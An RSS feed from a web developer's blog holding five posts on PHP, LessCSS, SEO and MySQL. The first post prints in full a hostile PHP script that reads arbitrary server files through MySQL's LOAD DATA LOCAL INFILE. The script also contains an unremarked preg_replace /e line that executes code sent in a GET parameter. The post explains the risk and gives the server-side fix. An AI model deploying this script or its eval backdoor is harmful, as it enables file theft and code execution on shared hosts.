<?xml version="1.0" encoding="UTF-8"?> <rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" ><channel><title>Yet Another Angry Web Developer</title> <atom:link href="http://marco-pivetta.com/feed/" rel="self" type="application/rss+xml" /><link>http://marco-pivetta.com</link> <description>Web Development as seen by a Web Developer</description> <lastBuildDate>Sun, 06 Nov 2011 10:56:30 +0000</lastBuildDate> <language>en</language> <sy:updatePeriod>hourly</sy:updatePeriod> <sy:updateFrequency>1</sy:updateFrequency> <generator>http://wordpress.org/?v=3.3.2</generator> <item><title>PHP Security Exploit: MySQL as a Backdoor with Load Data Local Infile</title><link>http://marco-pivetta.com/php-exploit-mysql-backdoor-with-load-data-local-infile/</link> <comments>http://marco-pivetta.com/php-exploit-mysql-backdoor-with-load-data-local-infile/#comments</comments> <pubDate>Sun, 09 Oct 2011 22:11:40 +0000</pubDate> <dc:creator>ocramius</dc:creator> <category><![CDATA[5.3]]></category> <category><![CDATA[DBA]]></category> <category><![CDATA[Development]]></category> <category><![CDATA[Exploits]]></category> <category><![CDATA[IT]]></category> <category><![CDATA[MySQL]]></category> <category><![CDATA[PHP]]></category> <category><![CDATA[Programming]]></category> <category><![CDATA[backdoor]]></category> <category><![CDATA[exploit]]></category> <category><![CDATA[lamp]]></category> <category><![CDATA[php]]></category> <category><![CDATA[sql injection]]></category><guid isPermaLink="false">http://marco-pivetta.com/?p=109</guid> <description><![CDATA[Yesterday I stumbled on a piece of code shown me by my friend Andrea Guglielmo. It is an exploit that could affect mostly shared hosting solutions, and which I&#8217;ve never seen before, even if it has not been invented recently. &#8230; <a href="http://marco-pivetta.com/php-exploit-mysql-backdoor-with-load-data-local-infile/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description> <content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"> <a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fmarco-pivetta.com%2Fphp-exploit-mysql-backdoor-with-load-data-local-infile%2F"><br /> <img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fmarco-pivetta.com%2Fphp-exploit-mysql-backdoor-with-load-data-local-infile%2F&amp;style=normal&amp;hashtags=backdoor,exploit,lamp,MySQL,php,sql+injection&amp;b=2" height="61" width="50" title="PHP Security Exploit: MySQL as a Backdoor with Load Data Local Infile" alt=" PHP Security Exploit: MySQL as a Backdoor with Load Data Local Infile" /><br /> </a></div><p>Yesterday I stumbled on a piece of code shown me by my friend <a href="https://plus.google.com/114521214467532396887" rel="external nofollow" target="_blank">Andrea Guglielmo</a>.</p><p>It <strong>is an exploit</strong> that <strong>could affect</strong> mostly<strong> shared hosting</strong> solutions, and which I&#8217;ve never seen before, even if it has not been invented recently.</p><p><span id="more-109"></span></p><p>It is <strong>not</strong> really<strong> well written</strong> piece of <a href="http://php.net" rel="external nofollow tag" target="_blank">PHP</a> code:</p><ul><li>you can immediately notice that it requires <code>ini_set('short_open_tag', true);</code></li><li>it is <strong>vulnerable to <a href="http://en.wikipedia.org/wiki/SQL_injection" rel="external nofollow tag" target="_blank">sql injections</a></strong></li><li>it <strong>allows arbitrary MySQL credentials</strong> (username, password and database) to be passed in <strong>via <code>$_GET</code></strong></li></ul><p>But this is not the point of the discussion.</p><p>Let&#8217;s first get our eyes on it:</p><pre class="brush: php">&lt;?
$mysql_host = (isset($_GET[mysql_host]))?$_GET[mysql_host]:"localhost";
$mysql_user = (isset($_GET[mysql_user]))?$_GET[mysql_user]:"";
$mysql_pass = (isset($_GET[mysql_pass]))?$_GET[mysql_pass]:"";
$calcname = explode(".",getenv("HTTP_HOST"));
$mysql_name =(isset($_GET[mysql_name]))?$_GET[mysql_name]:"my_".$calcname[0];
$mysql_xploit = preg_replace("/(.+)/e", $_GET[db], $_GET[db]);
$path = (isset($_GET[path]))?$_GET[path]:"/membri/SITO/config.php";
$limit = (isset($_GET[limit]))?$_GET[limit]:"0,30";
$search = (isset($_GET[search]))?$_GET[search]:"";
?&gt;
&lt;form action="#" method="GET"&gt;
host &lt;input type=text name=mysql_host value='&lt;?=$mysql_host;?&gt;'/&gt;&lt;br /&gt;
user &lt;input type=text name=mysql_user value='&lt;?=$mysql_user;?&gt;'/&gt;&lt;br /&gt;
pass &lt;input type=text name=mysql_pass value='&lt;?=$mysql_pass;?&gt;'/&gt;&lt;br /&gt;
name &lt;input type=text name=mysql_name value='&lt;?=$mysql_name;?&gt;'/&gt;&lt;br /&gt;
path &lt;input type=text name=path value='&lt;?=$path;?&gt;' /&gt;&lt;br /&gt;
[ limit &lt;input type=text name=limit value='&lt;?=$limit;?&gt;' /&gt; ]&lt;br /&gt;
[ search &lt;input type=text name=search value='&lt;?=$search;?&gt;' /&gt; ]&lt;br /&gt;
&lt;input type=submit value=send /&gt;
&lt;/form&gt;
&lt;?

if (isset($_GET[mysql_host])) {
  $search = $_GET[search];
  $link = mysql_connect($_GET['mysql_host'], $_GET['mysql_user'], $_GET['mysql_pass'])or die(mysql_error());
  $db = mysql_select_db($_GET['mysql_name']);
  $path = $_GET['path'];
  $limit = $_GET['limit'];
  $query = "CREATE TABLE `exploit` (`path` longtext not null);";
  $delete =  "DROP TABLE `exploit`;";
  $bypass = "LOAD DATA LOCAL INFILE '$path' INTO TABLE exploit;";
  $l = (!empty($_GET[limit])) ? " LIMIT $limit" : "";
  $fu = "SELECT * FROM exploit".$l;
  mysql_query($delete);
  mysql_query($query)or die(mysql_error());
  mysql_query($bypass)or die("Mysql-exploit-error : ".mysql_error());
  $res = mysql_query($fu)or die(mysql_error());
  $txt = "";
  while($row = mysql_fetch_array($res)) {
    $txt .= $row[path]."\n";
  }
  $output = "&lt;form action=# method=POST&gt;&lt;input type=hidden name=mode value=sqlwritefile&gt;
  &lt;textarea rows=30 cols=100 name=newtext&gt;".htmlspecialchars($txt)."&lt;/textarea&gt;&lt;/form&gt;";
}

if (!empty($search)) {
  $q = "SELECT * FROM exploit WHERE path LIKE '%".$search."%'";
  $result = mysql_query($q)or die("Mysql-exploit-error : ".mysql_error());
  $txt2 = "";
  while($riga = mysql_fetch_assoc($result)) {
    $txt2 .= $riga[path];
  }
  $output .= "Search results: &lt;form action=# method=POST&gt;&lt;input type=hidden name=mode value=sqlwritefile&gt;
  &lt;textarea rows=30 cols=100 name=newtext&gt;".htmlspecialchars($txt2)."&lt;/textarea&gt;&lt;/form&gt;";
}
echo $output;
?&gt;</pre><p><strong>So here&#8217;s what it does:</strong></p><ol><li><strong>connects to</strong> a <strong>MySQL</strong> database</li><li><strong>creates</strong> a <strong>table</strong> called &#8220;<strong>exploit</strong>&#8220;</li><li><strong>loads data from</strong> an arbitrary <strong>path</strong> passed in<strong> by <code>$_GET['path']</code></strong></li><li><strong>Allows querying</strong> for data</li></ol><p>So you could ask me: Marco, <strong>what&#8217;s the problem?</strong> We already do that with <code>file_get_contents($path)</code>.</p><p>The problem is that <strong>MySQL is a service</strong> running on it&#8217;s own. Usually,<strong> your PHP process is &#8220;jailed&#8221; within the limits of the www-data user</strong> or the one that suPHP has provided you&#8230;<br /> I&#8217;m thinking of a standard <a href="http://debian.org/" rel="external nofollow tag" target="_blank">Debian</a> installation, where <strong>MySQL</strong> usually <strong>runs under user &#8220;mysql&#8221;, which has access to some interesting stuff</strong>, like <code>/var/log/mysql.err</code>, <code>/var/log/mysql.log.*</code>, <code>/var/log/mysql/*</code> and <code>/var/lib/mysql/*</code>, and this without considering all what the privileges of the user &#8220;mysql&#8221; implies.</p><p>So <strong>what about copying an entire log file</strong> or binlog file into the &#8220;exploit&#8221; table <strong>and displaying it</strong> to anonymous evil h4x0r? Creepy&#8230;</p><p>Here&#8217;s a sample I&#8217;ve just tested:</p><pre class="brush: sql">mysql&gt; create database exploittest;
Query OK, 1 row affected (0.00 sec)
mysql&gt; use exploittest;
Database changed
mysql&gt; CREATE TABLE `exploit` (`path` longtext not null);
Query OK, 0 rows affected (0.01 sec)

mysql&gt; LOAD DATA LOCAL INFILE '/var/lib/mysql/test.txt' INTO TABLE exploit;
Query OK, 3 rows affected (0.05 sec)
Records: 3 Deleted: 0 Skipped: 0 Warnings: 0

mysql&gt; select * from exploit;
+--------+
| path |
+--------+
| aaaa |
| bbbbb |
| cccccc |
+--------+
3 rows in set (0.00 sec)</pre><p>Well, <strong>there&#8217;s a simple solution</strong> you SHOULD adopt if you have any customers with access to PHP code on your server. Here&#8217;s what the MySQL manual states:</p><blockquote><p><strong>You can disable all LOAD DATA LOCAL</strong> statements from the server side by starting mysqld <strong>with the &#8211;local-infile=0 option</strong>.</p></blockquote><p>You can could read more about it here:</p><p><a href="http://dev.mysql.com/doc/refman/5.0/en/load-data-local.html" rel="external nofollow tag" target="_blank">MySQL LOAD DATA LOCAL INFILE</a>.</p><p>Always remember that <strong>security is NEVER enough!</strong></p> ]]></content:encoded> <wfw:commentRss>http://marco-pivetta.com/php-exploit-mysql-backdoor-with-load-data-local-infile/feed/</wfw:commentRss> <slash:comments>2</slash:comments> </item> <item><title>LessPHP Minify Integration for faster LessCSS development</title><link>http://marco-pivetta.com/lessphp-minify-integration-lesscss-development/</link> <comments>http://marco-pivetta.com/lessphp-minify-integration-lesscss-development/#comments</comments> <pubDate>Sat, 28 May 2011 00:28:37 +0000</pubDate> <dc:creator>ocramius</dc:creator> <category><![CDATA[CSS]]></category> <category><![CDATA[Design]]></category> <category><![CDATA[Development]]></category> <category><![CDATA[IT]]></category> <category><![CDATA[LESS CSS]]></category> <category><![CDATA[PHP]]></category> <category><![CDATA[Startup Projects]]></category> <category><![CDATA[css]]></category> <category><![CDATA[lesscss]]></category> <category><![CDATA[minify]]></category> <category><![CDATA[php]]></category><guid isPermaLink="false">http://marco-pivetta.com/?p=79</guid> <description><![CDATA[Today I&#8217;ve been working on some addition to the Minify Project to support LESS CSS integration throug LessPHP. Why do I need LESS CSS? As you probably have noticed, your CSS files are becoming huge, especially when working on great &#8230; <a href="http://marco-pivetta.com/lessphp-minify-integration-lesscss-development/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description> <content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"> <a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fmarco-pivetta.com%2Flessphp-minify-integration-lesscss-development%2F"><br /> <img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fmarco-pivetta.com%2Flessphp-minify-integration-lesscss-development%2F&amp;style=normal&amp;hashtags=css,lesscss,minify,php&amp;b=2" height="61" width="50" title="LessPHP Minify Integration for faster LessCSS development" alt=" LessPHP Minify Integration for faster LessCSS development" /><br /> </a></div><p>Today I&#8217;ve been working on some addition to the <strong><a title="Minify Project on Google Code" rel="external nofollow" href="http://code.google.com/p/minify/" target="_blank">Minify Project</a></strong> to support <strong><a title="LESS CSS for faster CSS development" rel="external nofollow" href="http://lesscss.org/" target="_blank">LESS CSS </a></strong>integration throug <a title="LessPHP by Leafo" rel="external nofollow" href="http://leafo.net/lessphp/" target="_blank">LessPHP</a>.</p><h2>Why do I need LESS CSS?</h2><p>As you probably have noticed, your <strong>CSS files are becoming huge</strong>, especially when working on great projects, avoiding sprites, adding gradients, box-shadows, animations, keyframes, etc:</p><p style="padding-left: 30px;">That&#8217;s where LESS CSS comes into play.<br /> <strong>LESS CSS is</strong> just another way of writing CSS, <strong><span style="text-decoration: underline;">not</span></strong> that <strong><span style="text-decoration: underline;">repetitive</span></strong> and &#8220;LESS&#8221; confusing in big projects.</p><p><span id="more-79"></span></p><h2>Why do I need Minify?</h2><p><strong>Minify</strong> is a <strong>great tool</strong> for CSS compression <strong>on complex design projects</strong>, where you have more designers and dozens of different widgets to be styled individually, but without making the website slow and unresponsive, <strong>keeping it fast</strong> and slick.</p><h2>So what was missing?</h2><p>I&#8217;ve been working with Minify JS and CSS for some years till now, but once I switched to LESS I decided to<strong> stop writing</strong> all my <strong>CSS by hand</strong>.<br /> <strong>Repeating css rules</strong> and all those<strong> vendor-prefixes</strong> for properties made me mad<strong>!</strong> This brought me to the usage of the <strong><a title="LESS CSS for Mac OSX" rel="external nofollow" href="http://incident57.com/less/" target="_blank">Less App for Mac OS</a></strong>, but also forced me to repeat a painful <strong>compile/redeploy procedure</strong> every time, most of the times automated with complex scripts that made the procedure even more <strong>confusing for my design team</strong>.</p><p><strong>Minify</strong> was <strong>not able to</strong> pack and <strong>manage my LESS </strong>CSS files.</p><p>&nbsp;</p><h2>So what does this Minify LessPHP/LessCSS integration do?</h2><p>I didn&#8217;t even believe I could make it in such a short time, just a bit of planning an an hour of coding+debugging, but now I have a working <strong>Minify</strong> instance<strong> using &#8220;.less&#8221; files and automagically </strong>compiling through LessPHP and <strong>minifying them</strong>.</p><p>You can find my project on it&#8217;s GitHub page for <a title="Minify and LessCSS/LessPHP integration" rel="external nofollow" href="https://github.com/Ocramius/MinifyLessCSS">LessCSS and Minify Integration</a>.<br /> If you&#8217;re familiar with Minify, just go on, download the package, change your config.php settings and try it out!<br /> You just need to include .less files instead of .css ones in your requests/groupsConfig!</p><h2>Setting up Minify with LessCSS support</h2><p>If you&#8217;re not familiar with the project, here&#8217;s a very fast introduction:</p><ol><li><a title="Download Minify LessCSS LessPHP integration" rel="external nofollow" href="https://github.com/Ocramius/MinifyLessCSS/zipball/master" target="_blank">Download the current GitHub Repository Contents for the LessCSS LessPHP Minify</a> integration</li><li>Unzip the file to a directory of your website/local web server</li><li>Locate a file called &#8220;config.php&#8221; in the &#8220;min&#8221; directory and open it with your favourite text editor.</li><li>Find a line that states (should be at line 57, like you see it <a rel="external nofollow" href="https://github.com/Ocramius/MinifyLessCSS/blob/master/min/config.php#L57" target="_blank">here</a>)<pre class="brush: php">    $min_documentRoot = '';</pre><p>and change it with</p><pre class="brush: php">    $min_documentRoot = dirname(__FILE__);</pre></li><li>Put some &#8220;.less&#8221; files in the &#8220;min&#8221; directory, like the following (I&#8217;m calling it &#8220;test.less&#8221;):<pre class="brush: css">@color: #4D926F;

#header {
  color: @color;
}
h2 {
  color: @color;
}</pre></li><li>Load the webpage at http://<span style="color: #ff0000;">yoursite</span>/<span style="color: #339966;">path/to/min</span>/?f=test.less, you should get an output similar to:<pre class="brush: css">#header{color:#4d926f}h2{color:#4d926f}</pre></li><li>Go to the <a title="Minify JS documentation" rel="external nofollow" href="http://code.google.com/p/minify/w/list" target="_blank">Minify Documentation</a> site and continue experimenting!</li></ol><p style="text-align: center;"><strong>After all, this is Minify&#8230; More or LESS <img src='http://marco-pivetta.com/wp-includes/images/smilies/icon_smile.gif' alt="icon smile LessPHP Minify Integration for faster LessCSS development" class='wp-smiley' title="LessPHP Minify Integration for faster LessCSS development" /> </strong></p> ]]></content:encoded> <wfw:commentRss>http://marco-pivetta.com/lessphp-minify-integration-lesscss-development/feed/</wfw:commentRss> <slash:comments>31</slash:comments> </item> <item><title>Google Releases new Webmaster Tools Features!</title><link>http://marco-pivetta.com/google-releases-new-webmaster-tools-features-seo-tools-for-better-serp-results/</link> <comments>http://marco-pivetta.com/google-releases-new-webmaster-tools-features-seo-tools-for-better-serp-results/#comments</comments> <pubDate>Sun, 10 Oct 2010 12:52:50 +0000</pubDate> <dc:creator>ocramius</dc:creator> <category><![CDATA[Google]]></category> <category><![CDATA[Search Engines]]></category> <category><![CDATA[SEO]]></category> <category><![CDATA[Seo]]></category> <category><![CDATA[SEO Tools]]></category> <category><![CDATA[SERP]]></category> <category><![CDATA[Web Development]]></category> <category><![CDATA[Webmaster Tools]]></category><guid isPermaLink="false">http://marco-pivetta.com/?p=48</guid> <description><![CDATA[Google releases new features for its Webmaster Tools Central! You can now easily view your SERP results of your hard SEO work with just a few clicks! <a href="http://marco-pivetta.com/google-releases-new-webmaster-tools-features-seo-tools-for-better-serp-results/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description> <content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"> <a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fmarco-pivetta.com%2Fgoogle-releases-new-webmaster-tools-features-seo-tools-for-better-serp-results%2F"><br /> <img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fmarco-pivetta.com%2Fgoogle-releases-new-webmaster-tools-features-seo-tools-for-better-serp-results%2F&amp;style=normal&amp;hashtags=Google,Seo,SEO+Tools,SERP,Web+Development,Webmaster+Tools&amp;b=2" height="61" width="50" title="Google Releases new Webmaster Tools Features!" alt=" Google Releases new Webmaster Tools Features!" /><br /> </a></div><p>As you probably noticed yesterday, Google released some very interesting and new features for his very useful Webmaster Tools utility&#8230;<br /> Before the change, to view variations in the Search Queries Webmaster Tools and evaluate your result in SERPs, you had to work it out with the fantastic, but not so much user friendly <a rel="nofollow" href="http://code.google.com/intl/en/apis/webmastertools/" target="_blank">Webmaster Tools API</a>. Not that useful if you&#8217;re not a Geek, a <a rel="nofollow" href="http://framework.zend.com/manual/en/zend.gdata.html" target="_blank">Zend_GData</a> or a Java/Java Web developer&#8230;<br /> You now just have to click on the &#8220;Your site on the web&#8221; &gt; &#8220;Search Queries&#8221; tab in your browser&#8230;<br /> Here&#8217;s the result:</p><div id="attachment_50" class="wp-caption alignnone" style="width: 650px"><a href="http://marco-pivetta.com/wp-content/uploads/2010/10/google-new-search-engine-results-positioning-optimization-features.png"><img class="size-large wp-image-50" title="Google New Search Engine Results Positioning Optimization (SEO) Features in Webmaster Tools" src="http://marco-pivetta.com/wp-content/uploads/2010/10/google-new-search-engine-results-positioning-optimization-features-1024x967.png" alt="google new search engine results positioning optimization features 1024x967 Google Releases new Webmaster Tools Features!" width="640" height="604" /></a><p class="wp-caption-text">Google makes SEO easier with some new features added to Webmaster Tools!</p></div><p>As you can see, we now have 9 sorting features instead of 5 <img src='http://marco-pivetta.com/wp-includes/images/smilies/icon_smile.gif' alt="icon smile Google Releases new Webmaster Tools Features!" class='wp-smiley' title="Google Releases new Webmaster Tools Features!" /><br /> Very useful to see if you&#8217;re doing SEO the right way (just sort your results by their Average Position in SERPs), or if the period for a search term is not the right one (to be compared with <a rel="nofollow" href="http://www.google.com/insights/search/" target="_blank">Google Insights</a>).<br /> You can take a look at the impressions count change, to see if you can get some more visitors from Search Engines for a certain Keyword on which you should focus on because it is trending right now. Otherwise you can just leave the SEO work you&#8217;re doing on some key words because it is no more a trend!<br /> This is surely going to change the way SEO experts works on positioning optimization (don&#8217;t tell me it&#8217;s not an affidable tool&#8230; It works great, also if displayed values are only relative! Everyone out there who&#8217;s not a developer should find these features vital for their success in SEO!)<br /> That&#8217;s not all, we&#8217;ve not finished yet!<br /> There&#8217;s more for web developers! <img src='http://marco-pivetta.com/wp-includes/images/smilies/icon_smile.gif' alt="icon smile Google Releases new Webmaster Tools Features!" class='wp-smiley' title="Google Releases new Webmaster Tools Features!" /><br /> You probably didn&#8217;t notice it, but if you take a look at the &#8220;Site configuration&#8221; &gt; &#8220;Settings&#8221; &gt; &#8220;Parameter handling&#8221; tab in your Webmaster Tools, then you&#8217;ll notice that you can now decide what parameters google should use for your urls containing GET parameters! Great, I&#8217;ll no more get duplicate content from wrong in-site-search results being crawled by Google!<br /> That&#8217;s very useful for developers too lazy to implement the Canonical meta-tag for their websites ^_^<br /> If you want to discover more, you can find out great news on the <a rel="nofollow" href="http://googlewebmastercentral.blogspot.com/" target="_blank">Google Official Webmaster Central Blog</a>&#8230;</p><p>Good luck and have fun!</p> ]]></content:encoded> <wfw:commentRss>http://marco-pivetta.com/google-releases-new-webmaster-tools-features-seo-tools-for-better-serp-results/feed/</wfw:commentRss> <slash:comments>5</slash:comments> </item> <item><title>MySQL Custom Sorting Rules</title><link>http://marco-pivetta.com/mysql-custom-sorting-rule-mysql/</link> <comments>http://marco-pivetta.com/mysql-custom-sorting-rule-mysql/#comments</comments> <pubDate>Fri, 08 Oct 2010 11:12:39 +0000</pubDate> <dc:creator>ocramius</dc:creator> <category><![CDATA[DBA]]></category> <category><![CDATA[Development]]></category> <category><![CDATA[IT]]></category> <category><![CDATA[MySQL]]></category> <category><![CDATA[Tricks]]></category> <category><![CDATA[Query]]></category> <category><![CDATA[SQL]]></category><guid isPermaLink="false">http://marco-pivetta.com/?p=21</guid> <description><![CDATA[How to sort data in MySQL with a custom sorting list... Easy! <a href="http://marco-pivetta.com/mysql-custom-sorting-rule-mysql/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description> <content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"> <a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fmarco-pivetta.com%2Fmysql-custom-sorting-rule-mysql%2F"><br /> <img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fmarco-pivetta.com%2Fmysql-custom-sorting-rule-mysql%2F&amp;style=normal&amp;hashtags=DBA,Development,MySQL,Query,SQL,Tricks&amp;b=2" height="61" width="50" title="MySQL Custom Sorting Rules" alt=" MySQL Custom Sorting Rules" /><br /> </a></div><p>Today I was facing troubles with the administrative dept of the web agency where I&#8217;m working in&#8230; They wanted to have their receiptive structures sorted by a custom role&#8230;</p><p>What I first thought about was a MySQL Union query where I had to fetch all distinct types of receiptive structures (Hotels, B&amp;Bs, Campings, etc&#8230;) in the desired order in different parametrized queries&#8230; Something like the following:</p><pre class="brush: sql">(
  SELECT
    1 as sorting_column,
    *
  FROM receiptive_structures
  WHERE type_id=4
) AS a
UNION ALL
(
  SELECT
    2 as sorting_column,
    *
  FROM receiptive_structures
  WHERE type_id=2
) AS b
UNION ALL
(
  SELECT
    3 as sorting_column,
    *
  FROM receiptive_structures
  WHERE type_id=7
) AS c
UNION ALL
(
  SELECT
    4 as sorting_column,
    *
  FROM receiptive_structures
  WHERE type_id=1
) AS d
ORDER BY sorting_column ASC</pre><p>Althrough the &#8216;sorting_column&#8217; shouldn&#8217;t be necessary, I had too many bad experiences with mysql and its sorting features (expecially when merging together resultsets, like in this case).</p><p>Nasty solution&#8230;<br /> I decided to continue looking for a more elegant way of doing this&#8230;</p><p>I decided to use some kind of on-the-fly generated function in the ORDER BY clause of my MySQL Custom Sorting Query:</p><pre class="brush: sql">SELECT
((type_id=4)*1
+(type_id=2)*2
+(type_id=7)*3
+(type_id=1)*4) AS sorting_column,
r.*
FROM receiptive_structures AS r
ORDER BY sorting_column ASC</pre><p>Still looks ugly&#8230;<br /> Digging into the MySQL manual, found out that there&#8217;s a faster way of doing that!</p><pre class="brush: sql">SELECT * FROM receiptive_structures
ORDER BY FIELD(priority, 4,2,7,1);</pre><p>And here&#8217;s a quick overview of the MySQL FIELD() &#8220;weight&#8221; function <img src='http://marco-pivetta.com/wp-includes/images/smilies/icon_smile.gif' alt="icon smile MySQL Custom Sorting Rules" class='wp-smiley' title="MySQL Custom Sorting Rules" /></p><pre class="brush: sql">Database changed
mysql> select id, FIELD(id,4,2,7,1) AS sorting
    -> FROM l10n ORDER BY sorting DESC limit 5;
+----+---------+
| id | sorting |
+----+---------+
|  1 |       4 |
|  7 |       3 |
|  2 |       2 |
|  4 |       1 |
|  3 |       0 |
+----+---------+
5 rows in set (0.00 sec)</pre><p>I hope this will be useful for you <img src='http://marco-pivetta.com/wp-includes/images/smilies/icon_smile.gif' alt="icon smile MySQL Custom Sorting Rules" class='wp-smiley' title="MySQL Custom Sorting Rules" /></p> ]]></content:encoded> <wfw:commentRss>http://marco-pivetta.com/mysql-custom-sorting-rule-mysql/feed/</wfw:commentRss> <slash:comments>1</slash:comments> </item> <item><title>Starting a new website with WP&#8230;</title><link>http://marco-pivetta.com/starting-website-with-wordpress/</link> <comments>http://marco-pivetta.com/starting-website-with-wordpress/#comments</comments> <pubDate>Wed, 06 Oct 2010 11:31:24 +0000</pubDate> <dc:creator>ocramius</dc:creator> <category><![CDATA[IT]]></category> <category><![CDATA[Startup Projects]]></category> <category><![CDATA[Personal]]></category> <category><![CDATA[Project]]></category> <category><![CDATA[Site]]></category> <category><![CDATA[Startup]]></category> <category><![CDATA[Wordpress]]></category><guid isPermaLink="false">http://marco-pivetta.com/?p=6</guid> <description><![CDATA[Hello there, and welcome to my first post! This website will be my toolbox containing tools, tips and tricks about web development, my story and all the troubles of a web developer who starts becoming a very angry developer&#8230;.. I&#8217;m &#8230; <a href="http://marco-pivetta.com/starting-website-with-wordpress/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description> <content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"> <a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fmarco-pivetta.com%2Fstarting-website-with-wordpress%2F"><br /> <img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fmarco-pivetta.com%2Fstarting-website-with-wordpress%2F&amp;style=normal&amp;hashtags=Personal,Project,Site,Startup,Wordpress&amp;b=2" height="61" width="50" title="Starting a new website with WP..." alt=" Starting a new website with WP..." /><br /> </a></div><p>Hello there, and welcome to my first post!</p><p>This website will be my toolbox containing tools, tips and tricks about web development, my story and all the troubles of a web developer who starts becoming a very angry developer&#8230;..</p><p>I&#8217;m really sorry to present it as a WordPress blog, but I didn&#8217;t have any time to work on a new application written in J2EE or Zend Framework&#8230;<span id="more-6"></span></p><p>I hope that you will like it anyway, as I&#8217;m going to work hard on it and on it&#8217;s template (which is the WordPress default theme at the time I&#8217;m writing this post).</p> ]]></content:encoded> <wfw:commentRss>http://marco-pivetta.com/starting-website-with-wordpress/feed/</wfw:commentRss> <slash:comments>5</slash:comments> </item> </channel> </rss>
<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Minified using disk: basic
Page Caching using disk: basic
Database Caching using disk: basic
Object Caching 1692/1787 objects using disk: basic

Served from: marco-pivetta.com @ 2012-05-19 16:02:46 -->
